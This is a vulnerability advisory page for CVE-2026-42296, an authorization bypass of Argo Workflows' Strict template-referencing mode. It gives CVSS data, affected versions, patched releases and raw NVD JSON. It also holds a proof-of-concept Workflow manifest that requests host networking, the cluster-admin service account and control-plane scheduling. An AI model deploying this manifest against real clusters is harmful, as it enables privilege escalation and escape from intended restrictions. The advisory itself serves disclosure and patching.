Security Vulnerability Report
中文
CVE-2026-42296 CVSS 8.1 HIGH

CVE-2026-42296

Published: 2026-05-09 04:16:26
Last Modified: 2026-05-09 04:16:26

Description

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Argo Workflows < 3.7.14
Argo Workflows >= 4.0.0, < 4.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: strict-bypass-poc generateName: strict-bypass- spec: entrypoint: whalesay # Vulnerability: Even with strict template referencing, # specific fields can be overridden to escape restrictions. workflowTemplateRef: name: workflow-template-strict # Injecting malicious overrides directly in the workflow spec hostNetwork: true # Bypassing host network restriction serviceAccountName: cluster-admin # Privilege Escalation tolerations: - key: node-role.kubernetes.io/control-plane operator: Exists effect: NoSchedule # Scheduling on control-plane nodes templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["Hello Argo - Bypassed Strict Mode!"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42296", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:25.563", "lastModified": "2026-05-09T04:16:25.563", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/commit/534f4ff1cbd86908e8ff76d97d553ad5a49a950d", "source": "[email protected]"}, {"url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.14", "source": "[email protected]"}, {"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5", "source": "[email protected]"}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3775-99mw-8rp4", "source": "[email protected]"}]}}